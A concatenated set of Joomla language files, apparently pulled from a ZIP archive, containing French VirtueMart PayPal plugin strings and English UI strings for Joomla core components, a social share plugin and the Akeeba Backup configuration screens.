VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="Adresse e-mail ou numéro de compte du destinataire du paiement" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="Code Pays au format ISO 3166" VMPAYMENT_PAYPAL_RESPONSE_TAX="Taxe" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="Objet de la transaction" VMPAYMENT_PAYPAL_RESTRICTIONS="RESTRICTIONS" VMPAYMENT_PAYPAL_SANDBOX="Sandbox" VMPAYMENT_PAYPAL_SANDBOX_DESC="Sandbox" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="E-mail marchand sandbox" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="E-mail Marchand Sandbox" VMPAYMENT_PAYPAL_SANDBOX_PARAMS="Paramètres PayPal Sandbox" VMPAYMENT_PAYPAL_SANDBOX_PARAMS_DESC="Paramètres PayPal de la Sandbox" VMPAYMENT_PAYPAL_SHIPMENT_PRICE="Montant Livraison" VMPAYMENT_PAYPAL_STATUS_FAILED="Statut des commandes Transactions échouées" VMPAYMENT_PAYPAL_STATUS_FAILED_EXPLAIN="Sélectionnez un statut pour les transactions PayPal annulées" VMPAYMENT_PAYPAL_STATUS_PENDING="Statut des commandes Transaction en attente" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="Statut des commandes dont le règlement est en attente, mais n'a pas été annulé" VMPAYMENT_PAYPAL_STATUS_SUCCESS="Statut des commandes Transactions réussies" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="Sélectionnez le statut des commandes dont le paiement PayPal est terminé. Si des produits téléchargeables sont concernés, sélectionnez le statut activant la possibilité de téléchargement (l'acheteur sera immédiatement informé par e-mail de l'adresse de téléchargement)" VMPAYMENT_PAYPAL_TAX="Taxe" VMPAYMENT_PAYPAL_TAX_EXPLAIN="Taxe à appliquer aux frais" VMPAYMENT_PAYPAL_THANKYOU="Merci" VMPAYMENT_PAYPAL_UNKNOW_ORDER_ID="ID de numéro de commande inconnu" VMPAYMENT_PAYPAL_USER_CANCEL="Annulation du paiement" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS="Paramètres VirtueMart" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS_DESC="Paramètres VirtueMart" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="Notification Paypal reçu" VMPAYMENT_PAYPAL_DATE="Date" VMPAYMENT_PAYPAL_PAYMENT_ORDER_TOTAL="Montant total envoyé à Paypal" VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="Numéro d'origine d'identification des transactions" VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="Numéro d'identification de transaction" PK@y>\Vlanguage/fr-FR/index.htmlnuW+A PK@y>\P9661language/fr-FR/fr-FR.plg_vmpayment_paypal.sys.ininuW+AVMPAYMENT_PAYPAL="Plugin de paiement Paypal pour Vm" PK@y>\/BB,language/en-GB/en-GB.plg_system_remember.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\"language/en-GB/en-GB.com_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Cache Manager" COM_CACHE_BACK_CACHE_MANAGER="Return to Cache Manager" COM_CACHE_CLEAR_CACHE_ADMIN="Clear Cache Admin" COM_CACHE_CLEAR_CACHE="Maintenance: Clear Cache" COM_CACHE_PURGE_EXPIRED_CACHE="Maintenance: Purge Expired Cache" COM_CACHE_CONFIGURATION="Cache Manager Settings" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Expired items have been purged." COM_CACHE_GROUP="Cache Group" COM_CACHE_MANAGER="Cache Manager" COM_CACHE_NUM="#" COM_CACHE_NUMBER_OF_FILES="Number of Files" COM_CACHE_PURGE_CACHE_ADMIN="Purge Cache Admin" COM_CACHE_PURGE_EXPIRED="Purge expired" COM_CACHE_PURGE_EXPIRED_ITEMS="Purge expired items" COM_CACHE_PURGE_INSTRUCTIONS="Click on the Purge Expired icon in the toolbar to delete all expired cache files. Note: Cache files that are still current will not be deleted." COM_CACHE_RESOURCE_INTENSIVE_WARNING="WARNING: This can be resource intensive on sites with large number of items!" COM_CACHE_SIZE="Size" COM_CACHE_SELECT_CLIENT="- Select Location -" COM_CACHE_XML_DESCRIPTION="Component for cache management" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\몙"language/en-GB/en-GB.com_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Login" COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Joomla! Administration Login" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Go to site home page." COM_LOGIN_VALID="Use a valid username and password to gain access to the administrator backend." COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site."PK@y>\˺ ;language/en-GB/en-GB.plg_content_socialsharebuttons.sys.ininuW+A; $Id: en-GB.plg_content_socialsharebuttons.sys.ini 2011-05-22 19:00:30 ; Copyright (C) 2011 E-max. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php PLG_CONTENT_SOCIALSHAREBUTTONS="Content - Social Share Buttons" PLG_CONTENT_SOCIALSHAREBUTTONS_DESCRIPTION="

      E-max Social Share Buttons Plugin

      www.e-max.it

      Documentation web page

      Version 1.1

      E-max social share buttons is a simple and free plugin that allow you to display social share buttons (twitter, retweet, facebook like, facebook send, facebook share me, google buzz, google plus one, linkedin, digg, stumble upon) in a very customized way.

      The options are very easy and straightforward, you can:

      Show social share buttons over selected articles in one or more categories or sections just selecting "position - top" in the plugin options.
      Show social share buttons under selected articles in one or more categories or sections just selecting "_QQ_"position - bottom"_QQ_" in the plugin options.
      Show social share buttons over and under selected articles in one or more categories or sections just selecting "position - both" in the plugin options.
      Show social share buttons everywhere you like in your joomla site selecting "_QQ_"custom - yes"_QQ_" in the plugin options and using this code in articles: {socialsharebuttons}

      In the plugin options you can also select:

      Show in articles: and the plugin will be shown in article view
      Show in categories: and the plugin will be shown in category view
      Show in setions: and the plugin will be shown in section view
      Show in frontpage: and the plugin will be shown in frontpage view

      For more accurate customization you can also exclude sections, categories and articles:

      exclude sections: just write in this option the sections id to be excluded (comma separated) to exclude sections
      exclude categories: just write in this option the categories id to be excluded (comma separated) to exclude categories
      exclude articles: just write in this option the articles id to be excluded (comma separated) to exclude articles

      You can even select several articles to be shown even if their sections or categories are excluded:

      Display in that articles: just write in this option the articles to be shown by writing down the articles id (comma separated)

      You can select the social share buttons that you want to display, and every social share button has several options and you can customize it very precisely (show, hide, type, language, alignment, color, and many more).

      We have developed this plugin for our client's needs, and we hope you'll find it useful.

      For maximum customization you can use it in combination with e-max social share buttons module.

      Enjoy!

      Agenzia Web

      "PK@y>\5  -language/en-GB/en-GB.plg_search_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Search - Newsfeeds" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Newsfeeds" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Enables searching of Newsfeeds" PK@y>\u@bb#language/en-GB/en-GB.com_akeeba.ininuW+A;; @package AkeebaBackup ;; @copyright Copyright (c)2009-2012 Nicholas K. Dionysopoulos ;; @license GNU General Public License version 3, or later ;; COM_AKEEBA="Akeeba Backup" TRANSLATION_LANGUAGE="English (Great Britain)" TRANSLATION_AUTHOR="Nicholas K. Dionysopoulos" TRANSLATION_AUTHOR_URL="http://www.dionysopoulos.me" AKEEBA="Akeeba Backup" PROFILES="Profiles Management" CONFIGURATION="Configuration" BACKUP="Backup Now" BUADMIN="Administer Backup Files" VIEWLOG="View Log" FSFILTERS="Files and Directories Exclusion" REGEXFSFILTERS="RegEx Files and Directories Exclusion" REGEXDBFILTERS="RegEx Database Tables Exclusion" MULTIDB="Multiple Databases Definitions" EXTRADIRS="Off-site Directories Inclusion" DBEF="Database Tables Exclusion" EXTFILTER="Extension Filters" LIVEUPDATE="Live Update" RESTORATION="Site Restoration" TABLE_PROFILE_NODESCRIPTION="The profile definition has no description set" TABLE_PROFILE_CANNOTDELETEDEFAULT="You can not delete the default profile (the one with id=1)" COM_AKEEBA_CONFIGURATION="Akeeba Backup Configuration" CONFIG_ACL_HEADER_LABEL="Access Control" CONFIG_ACL_HEADER_DESC="Akeeba Backup can allow back-end users with inferior privileges to access its functions if you so wish." CONFIG_FRONTEND_HEADER_LABEL="Front-end backup" CONFIG_FRONTEND_HEADER_DESC="This allows you to enable the legacy and Lite front-end backup modes" CONFIG_LIVEUPDATE_HEADER_LABEL="Live update" CONFIG_LIVEUPDATE_HEADER_DESC="This section is internally used by Akeeba Backup when performing live update checks" CONFIG_BACKEND_HEADER_LABEL="Back-end" CONFIG_BACKEND_HEADER_DESC="Options instructing Akeeba Backup how to handle back-end scripting" CONFIG_BACKEND_JQUERYSRC_LABEL="jQuery Source" CONFIG_BACKEND_JQUERYSRC_DESC="jQuery empowers the back-end client side scripting of Akeeba Backup. If another component/plug-in already loads jQuery or if Akeeba Backup's GUI doesn't work properly, try setting this option to None." CONFIG_BACKEND_JQUERYSRC_LOCAL="Included in component" CONFIG_BACKEND_JQUERYSRC_GOOGLE="Use Google AJAX API libraries" CONFIG_BACKEND_JQUERYSRC_NONE="None (already loaded)" CONFIG_BACKEND_JQUERYUISRC_LABEL="jQuery UI Source" CONFIG_BACKEND_JQUERYUISRC_DESC="jQuery UI is responsible for displaying all of Akeeba Backup's GUI elements. If another component/plug-in already loads jQuery or if Akeeba Backup's GUI doesn't work properly, try setting this option to None." CONFIG_BACKEND_JQUERYUISRC_LOCAL="Included in component" CONFIG_BACKEND_JQUERYUISRC_GOOGLE="Use Google AJAX API libraries" CONFIG_BACKEND_JQUERYUISRC_NONE="None (already loaded)" CONFIG_MINACL_LABEL="Minimum access level" CONFIG_MINACL_DESC="Minimum user access level (group) which can access Akeeba Backup" CONFIG_OPT_AUTHSUPER="Super Administrator" CONFIG_OPT_AUTHADMIN="Administrator" CONFIG_OPT_AUTHMANAGER="Manager" CONFIG_FEBENABLE_LABEL="Enable front-end and remote backup" CONFIG_FEBENABLE_DESC="When enabled, allows launching a new backup without logging in the back-end. Useful for scheduling backups on your server or performing remote backups." CONFIG_SECRETWORD_LABEL="Secret word" CONFIG_SECRETWORD_DESC="Protects the front-end backup feature from DoS attacks by requiring you to pass this secret word in the front-end backup URL. You'd better use only lower and upper case letters and numbers (a-z,A-Z,0-9)." CONFIG_FRONTENDEMAIL_LABEL="Email on backup completion" CONFIG_FRONTENDEMAIL_DESC="Send a notification e-mail after the front-end or remote backup is over" CONFIG_ARBITRARYFEEMAIL_LABEL="Email address" CONFIG_ARBITRARYFEEMAIL_DESC="Send email to this address (leave blank to email all Super Administrators)" CONFIG_UPDUSERNAME_LABEL="AkeebaBackup.com Username" CONFIG_UPDUSERNAME_DESC="Your AkeebaBackup.com username is required to get updates for the Professional edition. If you are using Akeeba Backup Core just ignore this" CONFIG_UPDPASSWORD_LABEL="AkeebaBackup.com Password" CONFIG_UPDPASSWORD_DESC="Your AkeebaBackup.com password is required to get updates for the Professional edition. If you are using Akeeba Backup Core just ignore this" CONFIG_SAVE_OK="The configuration has been saved" CONFIG_HEADER_BASIC="Basic Configuration" CONFIG_OUTDIR_TITLE="Output Directory" CONFIG_OUTDIR_DESCRIPTION="This is the directory on your server where Akeeba Backup will store the backup archives and the backup log file. You can use the following macros:
      • [DEFAULT_OUTPUT] The default output directory
      • [SITEROOT] Your site's root directory
      • [ROOTPARENT] One directory above your site's root
      " CONFIG_OUTDIR_ROOT="Using the site's root as the Output Directory would lead to backup failure. Your setting has been overridden." CONFIG_TMPDIR_TITLE="Temporary Directory" CONFIG_TMPDIR_DESCRIPTION="This is the directory on your server where Akeeba Backup stores transient information, such as the database dump and the engine state while backing up. You can use the following macros:
      • [SITETMP] Your site's configured temporary directory
      • [SITEROOT] Your site's root directory
      • [ROOTPARENT] One directory above your site's root
      " CONFIG_TMPDIR_ROOT="Using the site's root as the Temporary Directory would lead to backup failure. Your setting has been overridden." CONFIG_LOGLEVEL_TITLE="Log Level" CONFIG_LOGLEVEL_DESCRIPTION="This option determines how verbose the backup log will be." CONFIG_LOGLEVEL_NONE="None" CONFIG_LOGLEVEL_ERROR="Errors only" CONFIG_LOGLEVEL_WARNING="Errors and Warnings" CONFIG_LOGLEVEL_INFO="All Information" CONFIG_LOGLEVEL_DEBUG="All Information and Debug" CONFIG_ARCHIVENAME_TITLE="Backup archive name" CONFIG_ARCHIVENAME_DESCRIPTION="Naming template for the backup archive, where applicable. You can use the following macros:
      • [HOST] The host name. WARNING! This tag doesn't work in CRON mode.
      • [DATE] Current date
      • [TIME] Current time
      " CONFIG_BACKUPTYPE_TITLE="Backup Type" CONFIG_BACKUPTYPE_DESCRIPTION="Which kind of site backup you want Akeeba Backup to perform" CONFIG_BACKUPTYPE_FULL="Full site backup" CONFIG_BACKUPTYPE_DBONLY="Main site database only (SQL file)" CONFIG_BACKUPTYPE_FILEONLY="Site files only" CONFIG_BACKUPTYPE_ALLDB="All configured databases (archive file)" CONFIG_ADVANCED="Advanced configuration" CONFIG_DUMPENGINE_TITLE="Database backup engine" CONFIG_DUMPENGINE_DESCRIPTION="Defines how Akeeba Backup will process your database(s) in order to produce a database backup file." CONFIG_SCANENGINE_TITLE="Filesystem scanner engine" CONFIG_SCANENGINE_DESCRIPTION="Defines how Akeeba Backup will crawl your site's files and folders in order to determine which of them have to be backed up." CONFIG_ARCHIVERENGINE_TITLE="Archiver engine" CONFIG_ARCHIVERENGINE_DESCRIPTION="Defines Akeeba Backup's archive format. Some engines, such as the DirectFTP, do not actually produce archives, but take care of transferring your files to other servers." CONFIG_PROCENGINE_TITLE="Data processing engine" CONFIG_PROCENGINE_DESCRIPTION="Data processing engines allow Akeeba Backup to post process archives - for example, transfer them to cloud storage servers." CONFIG_WRITERENGINE_TITLE="File writing engine" CONFIG_WRITERENGINE_DESCRIPTION="Data processing engines define how Akeeba Backup writes archives to disk." CONFIG_INSTALLER_TITLE="Embedded restoration script" CONFIG_INSTALLER_DESCRIPTION="When performing a full site backup, Akeeba Backup embeds the restoration script defined here to the archive. This allows for "" CONFIG_VIRTUALFOLDER_TITLE="Virtual directory for off-site files" CONFIG_VIRTUALFOLDER_DESCRIPTION="If you have configured any off-site directories, their contents will appear inside the archive as subdirectories of this virtual directory. It is virtual because it doesn't really exist on your server. It only exists inside the backup archive. Make sure the virtual directory name does not clash with an existing directory in order to avoid data loss." CONFIG_HEADER_QUOTA="Quota management" CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Obsolete records to keep" CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Total number of obsolete records (backups whose files have been deleted) to keep in the Administer Backup Files page. Set to 0 for no limit." CONFIG_SIZEQUOTA_ENABLE_TITLE="Enable size quota" CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="When activated, Akeeba Backup will erase old backup files if the total size of backup archives exceeds the value defined below. This setting is applied per profile." CONFIG_SIZEQUOTA_VALUE_TITLE="Size quota" CONFIG_COUNTQUOTA_ENABLE_TITLE="Enable count quota" CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="When enabled, Akeeba Backup will erase old backup files if they are more than the limit defined below." CONFIG_COUNTQUOTA_VALUE_TITLE="Count quota" CONFIG_HEADER_TUNING="Fine tuning" CONFIG_MINEXECTIME_TITLE="Minimum execution time" CONFIG_MAXEXECTIME_TITLE="Maximum execution time" CONFIG_RUNTIMEBIAS_TITLE="Execution time bias" ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP" ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfers the site files to a remote FTP server, without archiving them first" CONFIG_DIRECTFTP_HOST_TITLE="Host name" CONFIG_DIRECTFTP_HOST_DESCRIPTION="FTP server's host name, without the protocol. This means that ftp://example.com is invalid and example.com is valid. Akeeba Backup only supports FTP and FTPS servers. It does not support SFTP, SCP and other SSH variants." CONFIG_DIRECTFTP_PORT_TITLE="Port" CONFIG_DIRECTFTP_PORT_DESCRIPTION="FTP server's port. The most common setting is 21. If unsure, please contact your network administrator." CONFIG_DIRECTFTP_USER_TITLE="User name" CONFIG_DIRECTFTP_USER_DESCRIPTION="FTP server's user name. It is usually case sensitive. If unsure, please contact your network administrator." CONFIG_DIRECTFTP_PASSWORD_TITLE="Password" CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="FTP server's password. It is usually case sensitive. If unsure, please contact your network administrator." CONFIG_DIRECTFTP_INITDIR_TITLE="Initial directory" CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="The absolute FTP path to the directory where the files will be uploaded. If unsure, connect to your server with FileZilla, browse to the intended directory and copy the path appearing on the right-hand pane above the directory list. It is usually something short, like /public_html." CONFIG_DIRECTFTP_FTPS_TITLE="Use FTP over SSL (FTPS)" CONFIG_DIRECTFTP_FTPS_DESCRIPTION="If enabled, Akeeba Backup will try to connect to your FTP server using an SSL-encrypted connection. This is not the same as SFTP, SCP or "Secure FTP"! Do note that if your server doesn't support this method you will get connection errors." CONFIG_DIRECTFTP_PASSIVE_TITLE="Use passive mode" CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Use FTP passive mode when transferring data. This is enabled by default as it is the only method which works through firewalls commonly installed on web servers. Do not disactivate unless you are certain that your web server is not behind a firewall and that your FTP server absolutely requires Active mode file transfers." CONFIG_DIRECTFTP_TEST_TITLE="Test FTP connection" CONFIG_DIRECTFTP_TEST_DESCRIPTION="Use this button to test the FTP connection and view the connection errors on failure." CONFIG_DIRECTFTP_TEST_OK="Connection to remote FTP server was established successfully!" CONFIG_DIRECTFTP_TEST_FAIL="Could not connect to the remote FTP server." CONFIG_DIRECTFTP_TEST_DIALOG_TITLE="FTP Connection Test" ENGINE_ARCHIVER_JPA_TITLE="JPA format (recommended)" ENGINE_ARCHIVER_JPA_DESCRIPTION="An open-source archive format optimised for fast archive creation and extraction using PHP code" ENGINE_ARCHIVER_ZIP_TITLE="ZIP format" ENGINE_ARCHIVER_ZIP_DESCRIPTION="Standard ZIP files, a.k.a. "Compressed folders", natively supported by all leading operating systems" CONFIG_DEREFERENCESYMLINKS_TITLE="Dereference symlinks" CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="When enabled, symbolic links will be followed just like normal files and directories. When not checked, symbolic links will not be followed. If you are using symbolic links which lead to an infinite link loop, uncheck this option." CONFIG_PARTSIZE_TITLE="Part size for split archives" CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup can create split (multi-part) archives in order to work around size restrictions under various circumstances. This option defines the maximum size of each archive part. If you reduce it to 0, the multi-part feature is disabled.
      Important:If you are using a data processing engine which transfers archives to a remote location (e.g. cloud storage) use a setting around 1 to 5 Mb for optimal results." CONFIG_CHUNKSIZE_TITLE="Chunk size for large files processing" CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup processes large file in small chunks, in order to avoid timeouts. This parameter defines the maximum chunk size for this kind of processing." CONFIG_BIGFILETHRESHOLD_TITLE="Big file threshold" CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Files over this size will be stored uncompressed, or their processing will span multiple steps (depending on the archiver engine) in order to avoid timeouts. We suggest increasing this value only on fast and reliable servers." CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Chunk size for Central Directory processing" CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="ZIP files are comprised of a data section and a "directory" section. Those sections are processed in parallel by Akeeba Backup and joined during the archive finalization stage. This parameter determines how much data will be processed at once during this stage. You shouldn't need to change this setting unless you have severe memory exhaustion problems." ENGINE_DUMP_NATIVE_TITLE="Native MySQL backup engine" ENGINE_DUMP_NATIVE_DESCRIPTION="Uses PHP code to produce an accurate database dump" CONFIG_MYSQLCOMPAT_TITLE="MySQL Compatibility" CONFIG_MYSQLCOMPAT_DESCRIPTION="Determines the lowest MySQL version the CREATE commands will be compatible with. Use the default setting unless you are planning on restoring to a MySQL 4.1 host." CONFIG_MYSQLCOMPAT_NONE="Default" CONFIG_MYSQLCOMPAT_MYSQL4="MySQL 4.1" CONFIG_EXTENDEDINSERTS_TITLE="Generate extended INSERTs" CONFIG_EXTENDEDINSERTS_DESCRIPTION="If checked, the database dump will be made of extended INSERT statements, i.e. a single statement to restore multiple rows of data. It is highly recommended that you keep this option enabled as it will speed up the restoration process and works around query quota limits on restrictive hosts." CONFIG_MAXPACKET_TITLE="Max packet size for extended INSERTs" CONFIG_MAXPACKET_DESCRIPTION="The maximum size, in bytes, of each extended INSERT statement. It is recommended to keep it low enough so that MySQL doesn't throw an error while restoring your database dump." CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Dump PROCEDUREs, FUNCTIONs and TRIGGERs" CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="When enabled, Akeeba Backup will try to dump these advanced MySQL 5 database entities. If your backup hangs during the backup stage, you might have to disable this." CONFIG_SPLITDBDUMP_TITLE="Size for split SQL dump files" CONFIG_SPLITDBDUMP_DESCRIPTION="Your database dumps will be split in small files to improve compression and avoid file size issues on certain cheap hosts. Ideally, you should use half the size of your Big File Threshold. Set to 0 to disable splitting and creating a single huge dump file per database." CONFIG_BACTHSIZE_TITLE="Number of rows per batch" CONFIG_BACTHSIZE_DESCRIPTION="Lowering this value will conserve memory and avoid HTTP 500 errors while backing up huge tables" ENGINE_SCAN_SMART_TITLE="Smart scanner" ENGINE_SCAN_SMART_DESCRIPTION="Intelligently balances scanning speed and time-out avoidance" CONFIG_LARGEDIRTHRESHOLD_TITLE="Large directory threshold" CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="When a directory contains over this number of files or directories it is considered "large". Therefore, Akeeba Backup will try re-scanning it in the next step to avoid backup timeouts. A value too small will cause the backup to considerably slow down. Increase - unless you get timeout errors - to speed up the backup." ENGINE_POSTPROC_NONE_TITLE="No post-processing" ENGINE_POSTPROC_NONE_DESCRIPTION="Leaves the backup archive files on the server" CONFIG_DELETEAFTER_TITLE="Delete archive after processing" CONFIG_DELETEAFTER_DESCRIPTION="If enabled, the backup archive will be removed from this server as soon as post-processing finishes successfully." ENGINE_POSTPROC_S3_TITLE="Upload to Amazon S3" ENGINE_POSTPROC_S3_DESCRIPTION="Uploads the backup archive to Amazon S3.
      Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!" CONFIG_S3ACCESSKEY_TITLE="Access Key" CONFIG_S3ACCESSKEY_DESCRIPTION="Your Amazon S3 Access Key, made available to you under your personal Amazon Web Services profile page" CONFIG_S3SECRETKEY_TITLE="Secret Key" CONFIG_S3SECRETKEY_DESCRIPTION="Your Amazon S3 Secret Key, made available to you under your personal Amazon Web Services profile page" CONFIG_S3USESSL_TITLE="Use SSL" CONFIG_S3USESSL_DESCRIPTION="If enabled, a secure (HTTPS) connection will be used when uploading your files. While it increases security of transferred data, it also increases the possibility of backup failure due to timeout." CONFIG_S3BUCKET_TITLE="Bucket" CONFIG_S3BUCKET_DESCRIPTION="Your Amazon S3 bucket name" CONFIG_S3DIRECTORY_TITLE="Directory" CONFIG_S3DIRECTORY_DESCRIPTION="The directory within your bucket where the backup archives will be stored. Leave blank to store files inside the bucket's root." ENGINE_POSTPROC_DROPBOX_TITLE="Upload to DropBox" ENGINE_POSTPROC_DROPBOX_DESCRIPTION="Uploads the backup archive to DropBox.
      Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!" CONFIG_DROPBOXEMAIL_TITLE="Email" CONFIG_DROPBOXEMAIL_DESCRIPTION="The email address associated with your DropBox account" CONFIG_DROPBOXPWD_TITLE="Password" CONFIG_DROPBOXPWD_DESCRIPTION="Your DropBox account password" CONFIG_DROPBOXDIRECTORY_TITLE="Directory" CONFIG_DROPBOXDIRECTORY_DESCRIPTION="The directory within your DropBox account where the backup archives will be stored. Leave blank to store files inside the root." ENGINE_POSTPROC_FTP_TITLE="Upload to Remote FTP server" ENGINE_POSTPROC_FTP_DESCRIPTION="Uploads the backup archive to a remote FTP or FTPS (FTP over Implicit SSL) server.
      Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!" CONFIG_POSTPROCFTP_HOST_TITLE="Host name" CONFIG_POSTPROCFTP_HOST_DESCRIPTION="FTP server's host name, without the protocol. This means that ftp://example.com is invalid and example.com is valid. This engine only supports FTP and FTPS servers. It does not support SFTP, SCP and other SSH variants." CONFIG_POSTPROCFTP_PORT_TITLE="Port" CONFIG_POSTPROCFTP_PORT_DESCRIPTION="FTP server's port. The most common setting is 21. If unsure, please contact your network administrator." CONFIG_POSTPROCFTP_USER_TITLE="User name" CONFIG_POSTPROCFTP_USER_DESCRIPTION="FTP server's user name. It is usually case sensitive. If unsure, please contact your network administrator." CONFIG_POSTPROCFTP_PASSWORD_TITLE="Password" CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="FTP server's password. It is usually case sensitive. If unsure, please contact your network administrator." CONFIG_POSTPROCFTP_INITDIR_TITLE="Initial directory" CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="The absolute FTP path to the directory where the files will be uploaded. If unsure, connect to your server with FileZilla, browse to the intended directory and copy the path appearing on the right-hand pane above the directory list. It is usually something short, like /public_html." CONFIG_POSTPROCFTP_FTPS_TITLE="Use FTP over SSL (FTPS)" CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="If enabled, Akeeba Backup will try to connect to your FTP server using an SSL-encrypted connection. This is not the same as SFTP, SCP or "Secure FTP"! Do note that if your server doesn't support this method you will get connection errors." CONFIG_POSTPROCFTP_PASSIVE_TITLE="Use passive mode" CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Use FTP passive mode when transferring data. This is enabled by default as it is the only method which works through firewalls commonly installed on web servers. Do not disactivate unless you are certain that your web server is not behind a firewall and that your FTP server absolutely requires Active mode file transfers." CONFIG_POSTPROCFTP_TEST_TITLE="Test FTP connection" CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Use this button to test the FTP connection and view the connection errors on failure." CONFIG_POSTPROCFTP_TEST_OK="Connection to remote FTP server was established successfully!" CONFIG_POSTPROCFTP_TEST_FAIL="Could not connect to the remote FTP server." CONFIG_POSTPROCFTP_TEST_DIALOG_TITLE="FTP Connection Test" CONFIG_UI_BROWSER_TITLE="Directory Browser" CONFIG_UI_AJAXERRORDLG_TITLE="AJAX Error" CONFIG_UI_AJAXERRORDLG_TEXT="An error has occurred while waiting for an AJAX response:" CONFIG_UI_BROWSE="Browse..." CONFIG_UI_CONFIG="Configure..." CONFIG_UI_ROOTDIR="Using the site's root for backup output or temporary file storage will lead to backup failure. I am overriding your setting." WRITABLE="Writable" UNWRITABLE="Unwritable" BROWSER_LBL_GO="Go" BROWSER_LBL_USE="Use" BROWSER_LBL_GOPARENT="<up one level>" BROWSER_ERR_NOTEXISTS="The specified directory doesn't exist!" BROWSER_ERR_NONROOT="Note: This directory is outside your site's root. Its contents may be unreadable." BROWSER_ERR_BASEDIR="The specified directory is subject to open_basedir restrictions. It can neither be used for backup output, nor its contents, if any, can be listed." QNONE="No problems detected" Q001="Output directory unwritable" Q002="Temporary directory unwritable" Q003="Using site root as Output or Temporary directory" Q101="Output directory is restricted by open_basedir" Q102="Temporary directory is restricted by open_basedir" Q103="Maximum execution time is too low" Q104="System-wide temporary directory in use" Q201="Deprecated PHP version (PHP4)" Q202="CRC calculation issue" Q203="Default output directory in use" Q204="Disabled functions may affect operation" Q401="ZIP format selected" BACKUP_DEFAULT_DESCRIPTION="Backup taken on" BACKUP_HEADER_STARTNEW="Start a new backup" BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup may not work as expected" BACKUP_LABEL_QUIRKSLIST="Akeeba Backup detected the following potential problems:" BACKUP_LABEL_DESCRIPTION="Short description" BACKUP_LABEL_COMMENT="Backup comment" BACKUP_LABEL_START="Backup Now!" BACKUP_LABEL_PROGRESS="Backup Progress" BACKUP_LABEL_WARNINGS="Warnings" BACKUP_HEADER_BACKUPFAILED="Backup Failed" BACKUP_TEXT_BACKUPFAILED="The backup operation has been halted because an error was detected.
